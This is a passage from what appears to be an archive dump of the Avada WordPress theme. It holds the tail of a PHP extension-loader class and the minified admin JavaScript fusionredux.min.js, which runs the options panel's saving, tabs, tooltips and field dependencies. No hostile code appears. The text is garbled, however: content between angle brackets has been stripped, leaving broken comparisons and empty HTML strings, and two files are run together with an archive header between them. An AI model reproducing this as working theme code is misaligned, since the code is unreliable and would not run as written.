! isset( self::$init[ $opt_name ] ) ) { self::$init[ $opt_name ] = false; } } /** * Retrieve metadata from a file. Based on WP Core's get_file_data function * * @since 2.1.1 * * @param string $file Path to the file * * @return string */ public static function getFileVersion( $file ) { $data = get_file_data( $file, array( 'version' ), 'plugin' ); return $data[0]; } public static function checkExtensionClassFile( $opt_name, $name = "", $class_file = "", $instance = "" ) { if ( file_exists( $class_file ) ) { self::$uses_extensions[ $opt_name ] = isset( self::$uses_extensions[ $opt_name ] ) ? self::$uses_extensions[ $opt_name ] : array(); if ( ! in_array( $name, self::$uses_extensions[ $opt_name ] ) ) { self::$uses_extensions[ $opt_name ][] = $name; } self::$extensions[ $name ] = isset( self::$extensions[ $name ] ) ? self::$extensions[ $name ] : array(); $version = FusionRedux_Helpers::get_template_version( $class_file ); if ( empty( $version ) && ! empty( $instance ) ) { if ( isset( $instance->version ) ) { $version = $instance->version; } } self::$extensions[ $name ][ $version ] = isset( self::$extensions[ $name ][ $version ] ) ? self::$extensions[ $name ][ $version ] : $class_file; } } public static function setExtensions( $opt_name, $path ) { if ( is_dir( $path ) ) { $path = trailingslashit( $path ); $folder = str_replace( '.php', '', basename( $path ) ); if ( file_exists( $path . 'extension_' . $folder . '.php' ) ) { self::checkExtensionClassFile( $opt_name, $folder, $path . 'extension_' . $folder . '.php' ); } else { $folders = scandir( $path, 1 ); foreach ( $folders as $folder ) { if ( $folder === '.' or $folder === '..' ) { continue; } if ( file_exists( $path . $folder . '/extension_' . $folder . '.php' ) ) { self::checkExtensionClassFile( $opt_name, $folder, $path . $folder . '/extension_' . $folder . '.php' ); } else if ( is_dir( $path . $folder ) ) { self::setExtensions( $opt_name, $path . $folder ); continue; } } } } else if ( file_exists( $path ) ) { $name = explode( 'extension_', basename( $path ) ); if ( isset( $name[1] ) && ! empty( $name[1] ) ) { $name = str_replace( '.php', '', $name[1] ); self::checkExtensionClassFile( $opt_name, $name, $path ); } } } public static function getAllExtensions() { $fusionredux = FusionReduxFrameworkInstances::get_all_instances(); foreach ( $fusionredux as $instance ) { if ( ! empty( self::$uses_extensions[ $instance['args']['opt_name'] ] ) ) { continue; } if ( ! empty( $instance['extensions'] ) ) { FusionRedux::getInstanceExtensions( $instance['args']['opt_name'], $instance ); } } } public static function getInstanceExtensions( $opt_name, $instance = array() ) { if ( ! empty( self::$uses_extensions[ $opt_name ] ) ) { return; } if ( empty( $instance ) ) { $instance = FusionReduxFrameworkInstances::get_instance( $opt_name ); } if ( empty( $instance ) || empty( $instance->extensions ) ) { return; } foreach ( $instance->extensions as $name => $extension ) { if ( $name == "widget_areas" ) { $new = new FusionRedux_Widget_Areas( $instance ); } if ( isset( self::$uses_extensions[ $opt_name ][ $name ] ) ) { continue; } if ( isset( $extension->extension_dir ) ) { FusionRedux::setExtensions( $opt_name, str_replace( $name, '', $extension->extension_dir ) ); } else if ( isset( $extension->_extension_dir ) ) { FusionRedux::setExtensions( $opt_name, str_replace( $name, '', $extension->_extension_dir ) ); } } } public static function getExtensions( $opt_name = "", $key = "" ) { if ( empty( $opt_name ) ) { FusionRedux::getAllExtensions(); return null; } else { if ( empty( self::$uses_extensions[ $opt_name ] ) ) { FusionRedux::getInstanceExtensions( $opt_name ); } if ( empty( self::$uses_extensions[ $opt_name ] ) ) { return false; } $instanceExtensions = array(); foreach ( self::$uses_extensions[ $opt_name ] as $extension ) { $class_file = end( self::$extensions[ $extension ] ); $name = str_replace( '.php', '', basename( $extension ) ); $extension_class = 'FusionReduxFramework_Extension_' . $name; $instanceExtensions[ $extension ] = array( 'path' => $class_file, 'class' => $extension_class, 'version' => FusionRedux_Helpers::get_template_version( $class_file ) ); } return $instanceExtensions; } return false; } } FusionRedux::load(); } Avada/includes/lib/inc/redux/framework/FusionReduxCore/assets/js/fusionredux.min.js000064400000104665152342437710024552 0ustar00!function(e){"use strict";e.fusionredux=e.fusionredux||{},e(document).ready(function(){e.fn.isOnScreen=function(){if(window){var i=e(window),n={top:i.scrollTop()};n.right=n.left+i.width(),n.bottom=n.top+i.height();var s=this.offset();return s.right=s.left+this.outerWidth(),s.bottom=s.top+this.outerHeight(),!(n.rights.right||n.bottoms.bottom)}},e.fusionredux.hideFields(),e.fusionredux.checkRequired(),e.fusionredux.initEvents(),e.fusionredux.initQtip(),e.fusionredux.tabCheck(),e.fusionredux.notices(),e.fusionredux.tabControl()}),e.fusionredux.ajax_save=function(i){var n=e(document.getElementById("fusionredux_ajax_overlay"));n.fadeIn(),jQuery(".fusionredux-action_bar .spinner").addClass("is-active"),jQuery(".fusionredux-action_bar input, .awb-ignore").attr("disabled","disabled");var s=jQuery(document.getElementById("fusionredux_notification_bar"));s.slideUp(),jQuery(".fusionredux-save-warn").slideUp(),jQuery(".fusionredux_ajax_save_error").slideUp("medium",function(){jQuery(this).remove()});var r=jQuery(document.getElementById("fusionredux-form-wrapper"));fusionredux.fields.hasOwnProperty("editor")&&e.each(fusionredux.fields.editor,function(e,i){if("undefined"!=typeof tinyMCE){var n=tinyMCE.get(e);n&&n.save()}});var t=r.serialize();r.find("input[type=checkbox]").each(function(){if(void 0!==e(this).attr("name")){var i=e(this).is(":checked")?e(this).val():"0";t+="&"+e(this).attr("name")+"="+i}}),"fusionredux_save"!=i.attr("name")&&(t+="&"+i.attr("name")+"="+i.val());var a=r.attr("data-nonce");return jQuery.ajax({type:"post",dataType:"json",url:ajaxurl,data:{action:fusionredux.args.opt_name+"_ajax_save",nonce:a,_wp_http_referer:r.find("> [name=_wp_http_referer]:first").val(),opt_name:fusionredux.args.opt_name,data:t}}).fail(function(e){window.console||(console={}),console.log=console.log||function(e,i){},jQuery(".fusionredux-action_bar input, .awb-ignore").removeAttr("disabled"),n.fadeOut("fast"),jQuery(".fusionredux-action_bar .spinner").removeClass("is-active"),alert(fusionredux.ajax.alert)}).done(function(i){if(i.action&&"reload"==i.action)location.reload(!0);else if("success"==i.status){jQuery(".fusionredux-action_bar input, .awb-ignore").removeAttr("disabled"),n.fadeOut("fast"),jQuery(".fusionredux-action_bar .spinner").removeClass("is-active"),fusionredux.options=i.options,fusionredux.errors=i.errors,fusionredux.warnings=i.warnings,s.html(i.notification_bar).slideDown("fast"),null===i.errors&&null===i.warnings||e.fusionredux.notices();var r=e(document.getElementById("fusionredux_notification_bar")).find(".saved_notice");r.slideDown(),r.delay(4e3).slideUp()}else jQuery(".fusionredux-action_bar input, .awb-ignore").removeAttr("disabled"),jQuery(".fusionredux-action_bar .spinner").removeClass("is-active"),n.fadeOut("fast"),jQuery(".wrap h2:first").parent().append('"),jQuery(".fusionredux_ajax_save_error").slideDown(),jQuery("html, body").animate({scrollTop:0},"slow")}),!1},e.fusionredux.initEvents=function(){e(".fusionredux-presets-bar").on("click",function(){window.onbeforeunload=null}),e("#toplevel_page_"+fusionredux.args.slug+" .wp-submenu a, #wp-admin-bar-"+fusionredux.args.slug+" a.ab-item").on("click",function(i){if((e("#toplevel_page_"+fusionredux.args.slug).hasClass("wp-menu-open")||e(this).hasClass("ab-item"))&&!e(this).parents("ul.ab-submenu:first").hasClass("ab-sub-secondary")&&e(this).attr("href").toLowerCase().indexOf(fusionredux.args.slug+"&tab=")>=0){i.preventDefault();var n=e(this).attr("href").split("&tab=");return e("#"+n[1]+"_section_group_li_a").click(),e(this).parents("ul:first").find(".current").removeClass("current"),e(this).addClass("current"),e(this).parent().addClass("current"),!1}}),e(".fusionredux-action_bar input").on("click",function(i){if(e(this).attr("name")==fusionredux.args.opt_name+"[defaults]"){if(!confirm(fusionredux.args.reset_confirm))return!1}else if(e(this).attr("name")==fusionredux.args.opt_name+"[defaults-section]"&&!confirm(fusionredux.args.reset_section_confirm))return!1;window.onbeforeunload=null,!0===fusionredux.args.ajax_save&&(e.fusionredux.ajax_save(e(this)),i.preventDefault())}),e(".expand_options").on("click",function(i){i.preventDefault();var n=e(".fusionredux-container");if(e(n).hasClass("fully-expanded")){e(n).removeClass("fully-expanded");var s=e.cookie("fusionredux_current_tab");e(".fusionredux-container:first").find("#"+s+"_section_group").fadeIn(200,function(){0!==e(".fusionredux-container:first").find("#fusionredux-footer").length&&e.fusionredux.stickyInfo(),e.fusionredux.initFields()})}return e.fusionredux.expandOptions(e(this).parents(".fusionredux-container:first")),!1}),e(".saved_notice").is(":visible")&&e(".saved_notice").slideDown();var i=e("#fusionredux-footer").height();e("#fusionredux-sticky-padder").css({height:i}),e("#fusionredux-footer-sticky").removeClass("hide"),0!==e("#fusionredux-footer").length&&(e(window).on("scroll",function(){e.fusionredux.stickyInfo()}),e(window).on("resize",function(){e.fusionredux.stickyInfo()})),e(".saved_notice").delay(4e3).slideUp()},e.fusionredux.hideFields=function(){e("label[for='fusionredux_hide_field']").each(function(i,n){var s=e(this).parent().parent();e(s).addClass("hidden")})},e.fusionredux.checkRequired=function(){e.fusionredux.required(),e("#fusionredux-form-wrapper").serialize(),e.fusionredux.check_active_tab_dependencies(),e("body").on("change",".fusionredux-field input, .fusionredux-field textarea, .fusionredux-field select, .fusionredux-main select, .fusionredux-main radio, .fusionredux-main input[type=checkbox], .fusionredux-main input[type=hidden]",function(i){e(this).hasClass("noUpdate")||fusionredux_change(e(this))}),e("td > fieldset:empty,td > div:empty").parent().parent().hide()},e.fusionredux.initQtip=function(){if(e().qtip){var i="";!0===fusionredux.args.hints.tip_style.shadow&&(i="qtip-shadow");var n="",s=fusionredux.args.hints.tip_style.color;""!==s&&(n="qtip-"+s);var r="";!0===fusionredux.args.hints.tip_style.rounded&&(r="qtip-rounded");var t="",a=fusionredux.args.hints.tip_style.style;""!==a&&(t="qtip-"+a);var o=i+","+n+","+r+","+t+",fusionredux-qtip";o=o.replace(/,/g," ");var u=fusionredux.args.hints.tip_position.my,d=fusionredux.args.hints.tip_position.at;u=e.fusionredux.verifyPos(u.toLowerCase(),!0),d=e.fusionredux.verifyPos(d.toLowerCase(),!1);var f=fusionredux.args.hints.tip_effect.show.event,l=fusionredux.args.hints.tip_effect.hide.event,c=fusionredux.args.hints.tip_effect.show.effect,p=fusionredux.args.hints.tip_effect.show.duration,h=fusionredux.args.hints.tip_effect.hide.effect,x=fusionredux.args.hints.tip_effect.hide.duration;e("div.fusionredux-dev-qtip").each(function(){e(this).qtip({content:{text:e(this).attr("qtip-content"),title:e(this).attr("qtip-title")},show:{effect:function(){e(this).slideDown(500)},event:"mouseover"},hide:{effect:function(){e(this).slideUp(500)},event:"mouseleave"},style:{classes:"qtip-shadow qtip-light"},position:{my:"top center",at:"bottom center"}})}),e("div.fusionredux-hint-qtip").each(function(){e(this).qtip({content:{text:e(this).attr("qtip-content"),title:e(this).attr("qtip-title")},show:{effect:function(){switch(c){case"slide":e(this).slideDown(p);break;case"fade":e(this).fadeIn(p);break;default:e(this).show()}},event:f},hide:{effect:function(){switch(h){case"slide":e(this).slideUp(x);break;case"fade":e(this).fadeOut(x);break;default:e(this).hide(x)}},event:l},style:{classes:o},position:{my:u,at:d}})}),e("input[qtip-content]").each(function(){e(this).qtip({content:{text:e(this).attr("qtip-content"),title:e(this).attr("qtip-title")},show:"focus",hide:"blur",style:o,position:{my:u,at:d}})})}},e.fusionredux.tabCheck=function(){if(e(".fusionredux-group-tab-link-a").on("click",function(){var i=e(this);if(i.parent().hasClass("empty_section")&&i.parent().hasClass("hasSubSections")){var n=e(this).closest("ul").find(".fusionredux-group-tab-link-a"),s=n.index(this);i=n.slice(s+1,s+2)}var r=i.parents(".fusionredux-container:first"),t=i.data("rel"),a=r.find(".fusionredux-group-tab-link-li.active:first .fusionredux-group-tab-link-a").data("rel");if(a!==t){if(e("#currentSection").val(t),i.parents(".postbox-container:first").length||e.cookie("fusionredux_current_tab",t,{expires:7,path:"/"}),r.find("#"+t+"_section_group_li").parents(".fusionredux-group-tab-link-li").length){var o=r.find("#"+t+"_section_group_li").parents(".fusionredux-group-tab-link-li").attr("id").split("_");o=o[0]}if(r.find("#toplevel_page_"+fusionredux.args.slug+" .wp-submenu a.current").removeClass("current"),r.find("#toplevel_page_"+fusionredux.args.slug+" .wp-submenu li.current").removeClass("current"),r.find("#toplevel_page_"+fusionredux.args.slug+" .wp-submenu a").each(function(){var i=e(this).attr("href").split("&tab=");i[1]!=t&&i[1]!=o||(e(this).addClass("current"),e(this).parent().addClass("current"))}),r.find("#"+a+"_section_group_li").find("#"+a+"_section_group_li").length)r.find("#"+a+"_section_group_li").addClass("activeChild"),r.find("#"+t+"_section_group_li").addClass("active").removeClass("activeChild");else if(r.find("#"+t+"_section_group_li").parents("#"+a+"_section_group_li").length||r.find("#"+a+"_section_group_li").parents("ul.subsection").find("#"+t+"_section_group_li").length)r.find("#"+t+"_section_group_li").parents("#"+a+"_section_group_li").length?r.find("#"+a+"_section_group_li").addClass("activeChild").removeClass("active"):(r.find("#"+t+"_section_group_li").addClass("active"),r.find("#"+a+"_section_group_li").removeClass("active")),r.find("#"+t+"_section_group_li").removeClass("activeChild").addClass("active");else if(r.find("#"+t+"_section_group_li").addClass("active").removeClass("activeChild").find("ul.subsection").slideDown(),r.find("#"+a+"_section_group_li").find("ul.subsection").length){r.find("#"+a+"_section_group_li").find("ul.subsection").slideUp("fast",function(){r.find("#"+a+"_section_group_li").removeClass("active").removeClass("activeChild")});var u=r.find("#"+t+"_section_group_li").parents(".hasSubSections:first");u.length>0&&(r.find("#"+t+"_section_group_li").removeClass("active"),t=u.find(".fusionredux-group-tab-link-a:first").data("rel"),u.hasClass("empty_section")?(u.find(".subsection li:first").addClass("active"),r.find("#"+t+"_section_group_li").removeClass("active").addClass("activeChild").find("ul.subsection").slideDown(),u=u.find(".subsection li:first"),t=u.find(".fusionredux-group-tab-link-a:first").data("rel")):r.find("#"+t+"_section_group_li").addClass("active").removeClass("activeChild").find("ul.subsection").slideDown())}else r.find("#"+a+"_section_group_li").parents("ul.subsection").length?r.find("#"+a+"_section_group_li").parents("#"+t+"_section_group_li").length?r.find("#"+a+"_section_group_li").removeClass("active"):r.find("#"+a+"_section_group_li").parents("ul.subsection").slideUp("fast",function(){r.find("#"+a+"_section_group_li").removeClass("active"),r.find("#"+a+"_section_group_li").parents(".fusionredux-group-tab-link-li").removeClass("active").removeClass("activeChild"),r.find("#"+t+"_section_group_li").parents(".fusionredux-group-tab-link-li").addClass("activeChild").find("ul.subsection").slideDown(),r.find("#"+t+"_section_group_li").addClass("active")}):(r.find("#"+a+"_section_group_li").removeClass("active"),r.find("#"+t+"_section_group_li").parents(".fusionredux-group-tab-link-li").length&&(setTimeout(function(){r.find("#"+t+"_section_group_li").parents(".fusionredux-group-tab-link-li").addClass("activeChild").find("ul.subsection").slideDown()},50),r.find("#"+t+"_section_group_li").addClass("active")));r.find("#"+a+"_section_group").hide(),r.find("#"+t+"_section_group").fadeIn(200,function(){0!==r.find("#fusionredux-footer").length&&e.fusionredux.stickyInfo(),e.fusionredux.initFields()}),e("#toplevel_page_"+fusionredux.args.slug).find(".current").removeClass("current")}}),void 0===fusionredux.last_tab){var i=decodeURI((new RegExp("tab=(.+?)(&|$)").exec(location.search)||[,""])[1]);""!==i?e.cookie("fusionredux_current_tab_get")!==i&&(e.cookie("fusionredux_current_tab",i,{expires:7,path:"/"}),e.cookie("fusionredux_current_tab_get",i,{expires:7,path:"/"}),e("#"+i+"_section_group_li").click()):""!==e.cookie("fusionredux_current_tab_get")&&e.removeCookie("fusionredux_current_tab_get");var n=e("#"+e.cookie("fusionredux_current_tab")+"_section_group_li_a");null===e.cookie("fusionredux_current_tab")||void 0===e.cookie("fusionredux_current_tab")||0===n.length?e(".fusionredux-container").find(".fusionredux-group-tab-link-a:first").click():n.click()}else e("#"+fusionredux.last_tab+"_section_group_li_a").click()},e.fusionredux.initFields=function(){e(".fusionredux-group-tab .fusionredux-field-init").each(function(){if("typography_sets"===e(this).attr("data-type")){var i=e(this).attr("data-type");if(void 0!==fusionredux.field_objects&&fusionredux.field_objects[i]&&fusionredux.field_objects[i].init(),!fusionredux.customizer&&e(this).hasClass("fusionredux_remove_th")){var n=e(this).parents("tr:first").find("th:first");n.html()&&n.html().length>0&&(e(this).prepend(n.html()),e(this).find(".fusionredux_field_th").css("padding","0 0 10px 0")),e(this).parent().attr("colspan","2"),n.remove()}}}),e(".fusionredux-group-tab:visible").find(".fusionredux-field-init:visible").each(function(){e(this).find(".color-picker:not( .fusionredux-typography-color )").each(function(){e(this).awbColorPicker()});var i=e(this).attr("data-type");if(void 0!==fusionredux.field_objects&&fusionredux.field_objects[i]&&fusionredux.field_objects[i]&&fusionredux.field_objects[i].init(),!fusionredux.customizer&&e(this).hasClass("fusionredux_remove_th")){var n=e(this).parents("tr:first").find("th:first");n.html()&&n.html().length>0&&(e(this).prepend(n.html()),e(this).find(".fusionredux_field_th").css("padding","0 0 10px 0")),e(this).parent().attr("colspan","2"),n.remove()}})},e.fusionredux.notices=function(){fusionredux.errors&&fusionredux.errors.errors&&(e.each(fusionredux.errors.errors,function(i,n){e.each(n.errors,function(i,n){e("#"+fusionredux.args.opt_name+"-"+n.id).addClass("fusionredux-field-error"),0===e("#"+fusionredux.args.opt_name+"-"+n.id).parent().find(".fusionredux-th-error").length?e("#"+fusionredux.args.opt_name+"-"+n.id).append('
    '+n.msg+"
    "):e("#"+fusionredux.args.opt_name+"-"+n.id).parent().find(".fusionredux-th-error").html(n.msg).css("display","block")})}),e(".fusionredux-container").each(function(){var i=e(this);i.find(".fusionredux-menu-error").remove();var n=i.find(".fusionredux-field-error").length;n>0&&(i.find(".fusionredux-field-errors span").text(n),i.find(".fusionredux-field-errors").slideDown(),i.find(".fusionredux-group-tab").each(function(){var n=e(this).find(".fusionredux-field-error").length;if(n>0){var s=e(this).attr("id").split("_");s=s[0],i.find('.fusionredux-group-tab-link-a[data-key="'+s+'"]').prepend(''+n+""),i.find('.fusionredux-group-tab-link-a[data-key="'+s+'"]').addClass("hasError");var r=i.find('.fusionredux-group-tab-link-a[data-key="'+s+'"]').parents(".hasSubSections:first");r&&r.find(".fusionredux-group-tab-link-a:first").addClass("hasError")}}))})),fusionredux.warnings&&fusionredux.warnings.warnings&&(e.each(fusionredux.warnings.warnings,function(i,n){e.each(n.warnings,function(i,n){e("#"+fusionredux.args.opt_name+"-"+n.id).addClass("fusionredux-field-warning"),0===e("#"+fusionredux.args.opt_name+"-"+n.id).parent().find(".fusionredux-th-warning").length?e("#"+fusionredux.args.opt_name+"-"+n.id).append('
    '+n.msg+"
    "):e("#"+fusionredux.args.opt_name+"-"+n.id).parent().find(".fusionredux-th-warning").html(n.msg).css("display","block")})}),e(".fusionredux-container").each(function(){var i=e(this);i.find(".fusionredux-menu-warning").remove();var n=i.find(".fusionredux-field-warning").length;n>0&&(i.find(".fusionredux-field-warnings span").text(n),i.find(".fusionredux-field-warnings").slideDown(),i.find(".fusionredux-group-tab").each(function(){var n=e(this).find(".fusionredux-field-warning").length;if(n>0){var s=e(this).attr("id").split("_");s=s[0],i.find('.fusionredux-group-tab-link-a[data-key="'+s+'"]').prepend(''+n+""),i.find('.fusionredux-group-tab-link-a[data-key="'+s+'"]').addClass("hasWarning");var r=i.find('.fusionredux-group-tab-link-a[data-key="'+s+'"]').parents(".hasSubSections:first");r&&r.find(".fusionredux-group-tab-link-a:first").addClass("hasWarning")}}))}))},e.fusionredux.tabControl=function(){e(".fusionredux-section-tabs div").hide(),e(".fusionredux-section-tabs div:first").show(),e(".fusionredux-section-tabs ul li:first").addClass("active"),e(".fusionredux-section-tabs ul li a").on("click",function(){e(".fusionredux-section-tabs ul li").removeClass("active"),e(this).parent().addClass("active");var i=e(this).attr("href");return e(".fusionredux-section-tabs div").hide(),e(i).fadeIn("medium",function(){e.fusionredux.initFields()}),!1})},e.fusionredux.required=function(){var i=e.cookie("fusionredux_current_tab"),n=jQuery("#"+i+"_section_group"),s={};n.find("fieldset").each(function(){e(this).data("id");var i=fusionredux.folds[e(this).data("id")];void 0!==i&&(s[e(this).data("id")]=i)}),e.each(s,function(i,n){var s=e("#"+fusionredux.args.opt_name+"-"+i);if(s.parents("tr:first").addClass("fold"),"hide"==n){if(s.parents("tr:first").addClass("hide"),s.hasClass("fusionredux-container-section")){var r=e("#section-"+i);r.hasClass("fusionredux-section-indent-start")&&(e("#section-table-"+i).hide().addClass("hide"),r.hide().addClass("hide"))}if(s.hasClass("fusionredux-container-info")&&e("#info-"+i).hide().addClass("hide"),s.hasClass("fusionredux-container-divide")&&e("#divide-"+i).hide().addClass("hide"),s.hasClass("fusionredux-container-raw"))s.parents().find("table#"+fusionredux.args.opt_name+"-"+i).hide().addClass("hide")}})},e.fusionredux.get_container_value=function(i){var n=e("#"+fusionredux.args.opt_name+"-"+i).serializeForm();return null!==n&&"object"==typeof n&&n.hasOwnProperty(fusionredux.args.opt_name)&&(n=n[fusionredux.args.opt_name][i]),e("#"+fusionredux.args.opt_name+"-"+i).hasClass("fusionredux-container-media")&&(n=n.url),n},e.fusionredux.check_active_tab_dependencies=function(){var i=e.cookie("fusionredux_current_tab"),n=e("#"+i+"_section_group_li_a").data("css-id");if(fusionredux.optionSections.hasOwnProperty(n)){var s=fusionredux.optionSections[n];e.each(s,function(i){e.fusionredux.check_dependencies(i)})}},e.fusionredux.check_dependencies=function(i){if(null!==fusionredux.required){var n="",s="",r="",t="",a=!1;"string"==typeof i?(n=i,r=e("#"+fusionredux.args.opt_name+"-"+n)):(n=(s=e(i)).parents(".fusionredux-field:first").data("id"),r=s.parents(".fusionredux-field-container:first"));var o=e.cookie("fusionredux_current_tab"),u=e("#"+o+"_section_group_li_a").data("css-id");if(fusionredux.optionSections.hasOwnProperty(u)){var d=fusionredux.optionSections[u];if(n in d){if(!fusionredux.required.hasOwnProperty(n))return;(t=r.parents("tr:first").hasClass("hidden"))||(a=e.fusionredux.check_parents_dependencies(n)),!0===a?"info"===e("#"+fusionredux.args.opt_name+"-"+n).data("type")?e("#"+fusionredux.args.opt_name.replace("fusion_options","info")+"-"+n).removeClass("hide").fadeIn(300):e("#"+fusionredux.args.opt_name+"-"+n).parents("tr:first").removeClass("hide").fadeIn(300):!1===a&&("info"===e("#"+fusionredux.args.opt_name+"-"+n).data("type")?e("#"+fusionredux.args.opt_name.replace("fusion_options","info")+"-"+n).addClass("hide").fadeOut(300):e("#"+fusionredux.args.opt_name+"-"+n).parents("tr:first").addClass("hide").fadeOut(300)),e.each(fusionredux.required[n],function(i,n){if(i in d){a=!1,t="";e(this);var s=e("#"+fusionredux.args.opt_name+"-"+i),r=s.parents("tr:first");if(t||(a=e.fusionredux.check_parents_dependencies(i)),!0===a){if(s.hasClass("fusionredux-container-section")){var o=e("#section-"+i);o.hasClass("fusionredux-section-indent-start")&&o.hasClass("hide")&&(e("#section-table-"+i).fadeIn(300).removeClass("hide"),o.fadeIn(300).removeClass("hide"))}if(s.hasClass("fusionredux-container-info")&&e("#info-"+i).fadeIn(300).removeClass("hide"),s.hasClass("fusionredux-container-divide")&&e("#divide-"+i).fadeIn(300).removeClass("hide"),s.hasClass("fusionredux-container-raw"))s.parents().find("table#"+fusionredux.args.opt_name+"-"+i).fadeIn(300).removeClass("hide");r.fadeIn(300),r.removeClass("hide"),fusionredux.required.hasOwnProperty(i)&&e.fusionredux.check_dependencies(i),(s.hasClass("fusionredux-container-section")||s.hasClass("fusionredux-container-info"))&&r.css({display:"none"})}else!1===a&&(r.fadeOut(100,function(){e(this).addClass("hide")}),s.hasClass("fusionredux-container-info")&&e("#info-"+i).fadeOut(100).addClass("hide"),s.hasClass("fusionredux-container-divide")&&e("#divide-"+i).fadeOut(100).addClass("hide"))}})}}}},e.fusionredux.required_recursive_hide=function(i){e("#"+fusionredux.args.opt_name+"-"+i).parents("tr:first").fadeOut(50,function(){if(e(this).addClass("hide"),e("#"+fusionredux.args.opt_name+"-"+i).hasClass("fusionredux-container-section")){var n=e("#section-"+i);n.hasClass("fusionredux-section-indent-start")&&(e("#section-table-"+i).fadeOut(50).addClass("hide"),n.fadeOut(50).addClass("hide"))}(e("#"+fusionredux.args.opt_name+"-"+i).hasClass("fusionredux-container-info")&&e("#info-"+i).fadeOut(50).addClass("hide"),e("#"+fusionredux.args.opt_name+"-"+i).hasClass("fusionredux-container-divide")&&e("#divide-"+i).fadeOut(50).addClass("hide"),e("#"+fusionredux.args.opt_name+"-"+i).hasClass("fusionredux-container-raw"))&&e("#"+fusionredux.args.opt_name+"-"+i).parents().find("table#"+fusionredux.args.opt_name+"-"+i).fadeOut(50).addClass("hide");fusionredux.required.hasOwnProperty(i)&&e.each(fusionredux.required[i],function(e){})})},e.fusionredux.check_parents_dependencies=function(i){var n,s="",r=!1,t=[],a=!1,o=[],u=[],d=0,f=e.cookie("fusionredux_current_tab"),l=e("#"+f+"_section_group_li_a").data("css-id");if(fusionredux.optionSections.hasOwnProperty(l)&&i in fusionredux.optionSections[l]){if(fusionredux.required_child.hasOwnProperty(i)?((r=e("#"+fusionredux.args.opt_name+"-"+i).parents("tr:first").hasClass("fusion-or-gutter"))||(n=e("#"+fusionredux.args.opt_name+"-"+i).parents("tr:first").prop("className").split(" "),t=!!(t=e.grep(n,function(e){return e.includes("fusion-gutter-")}))[0]&&t[0].replace("fusion-gutter-","").split("-")),(r||t)&&(a=!0),e.each(fusionredux.required_child[i],function(i,n){if(e("#"+fusionredux.args.opt_name+"-"+n.parent).parents("tr:first").is(".hide, .hidden"))s=!1,o.push(0);else if(!1!==s||a){var r=e.fusionredux.get_container_value(n.parent);s=e.fusionredux.check_dependencies_visibility(r,n),o.push(Number(s))}})):(s=!0,o.push(1)),a){if(r)u=o;else if(0=1}return s=Boolean(s)}},e.fusionredux.check_dependencies_visibility=function(i,n){var s,r=!1,t=n.checkValue;switch(n.operation){case"=":case"equals":Array.isArray(i)?e(i[0]).each(function(i,n){if(Array.isArray(t))e(t).each(function(e,i){if(n==i)return r=!0,!0});else if(n==t)return r=!0,!0}):Array.isArray(t)?e(t).each(function(e,n){i==n&&(r=!0)}):i==t&&(r=!0);break;case"!=":case"not":Array.isArray(i)?e(i).each(function(i,n){if(Array.isArray(t))e(t).each(function(e,i){if(n!=i)return r=!0,!0});else if(n!=t)return r=!0,!0}):Array.isArray(t)?e(t).each(function(e,n){i!=n&&(r=!0)}):i!=t&&(r=!0);break;case">":case"greater":case"is_larger":parseFloat(i)>parseFloat(t)&&(r=!0);break;case">=":case"greater_equal":case"is_larger_equal":parseFloat(i)>=parseFloat(t)&&(r=!0);break;case"<":case"less":case"is_smaller":parseFloat(i)e(window).scrollTop()?(e("#fusionredux-footer").css({position:"fixed",bottom:"0",width:i,right:21}),e("#fusionredux-footer").addClass("sticky-footer-fixed"),e(".fusionredux-save-warn").css("left",e("#fusionredux-sticky").offset().left),e("#fusionredux-sticky-padder").show()):(e("#fusionredux-footer").css({background:"#eee",position:"inherit",bottom:"inherit",width:"inherit"}),e("#fusionredux-sticky-padder").hide(),e("#fusionredux-footer").removeClass("sticky-footer-fixed")),e("#info_bar").isOnScreen()?e("#fusionredux-sticky").removeClass("sticky-save-warn"):e("#fusionredux-sticky").addClass("sticky-save-warn")},e.fusionredux.expandOptions=function(i){var n=i.find(".expand_options"),s=i.find(".fusionredux-sidebar").width()-1,r=e(".fusionredux-group-menu .active a").data("rel")+"_section_group";return n.hasClass("expanded")?(n.removeClass("expanded"),i.find(".fusionredux-main").removeClass("expand"),i.find(".fusionredux-sidebar").stop().animate({"margin-left":"0px"},500),i.find(".fusionredux-main").stop().animate({"margin-left":s},500,function(){i.find(".fusionredux-main").attr("style","")}),i.find(".fusionredux-group-tab").each(function(){e(this).attr("id")!==r&&e(this).fadeOut("fast")})):(n.addClass("expanded"),i.find(".fusionredux-main").addClass("expand"),i.find(".fusionredux-sidebar").stop().animate({"margin-left":-s-113},500),i.find(".fusionredux-main").stop().animate({"margin-left":"-1px"},500),i.find(".fusionredux-group-tab").fadeIn("medium",function(){e.fusionredux.initFields()})),!1},e.fusionredux.scaleToRatio=function(i,n,s){var r=0,t=i.attr("data-width");t||(t=i.width(),i.attr("data-width",t));var a=i.attr("data-height"),o=i.height();(!a||o>a)&&(a=o,i.attr("data-height",a),i.css("width","auto"),i.attr("data-width",i.width()),t=i.width()),t>s?(r=s/t,i.css("width",s),i.css("height",a*r),a*=r,t*=r):i.css("width","auto"),a>n?(r=n/a,i.css("height",n),i.css("width",t*r),t*=r,a*=r):i.css("height","auto");var u=(e(document.getElementById("fusionredux-header")).height()-i.height())/2;u>0?i.css("margin-top",u):i.css("margin-top",0),e("#fusionredux-header .fusionredux_field_search")&&e("#fusionredux-header .fusionredux_field_search").css("right",e(i).width()+20)},e.fusionredux.resizeAds=function(){var i,n=e("#fusionredux-header");n.length?i=n.width()-n.find(".display_header").width()-30:(n=e("#customize-info"),i=n.width());var s=n.height(),r=n.find(".rAds");e(r).find("video").each(function(){e.fusionredux.scaleToRatio(e(this),s,i)}),e(r).find("img").each(function(){e.fusionredux.scaleToRatio(e(this),s,i)}),e(r).find("div").each(function(){e.fusionredux.scaleToRatio(e(this),s,i)}),"-99999px"==r.css("left")&&r.css("display","none").css("left","auto"),r.fadeIn("slow")},e(document).ready(function(){fusionredux.rAds&&setTimeout(function(){var i;e("#fusionredux-header").length>0?(e("#fusionredux-header").append('
    '),i=e("#fusionredux-header")):(e("#customize-theme-controls ul").first().prepend('
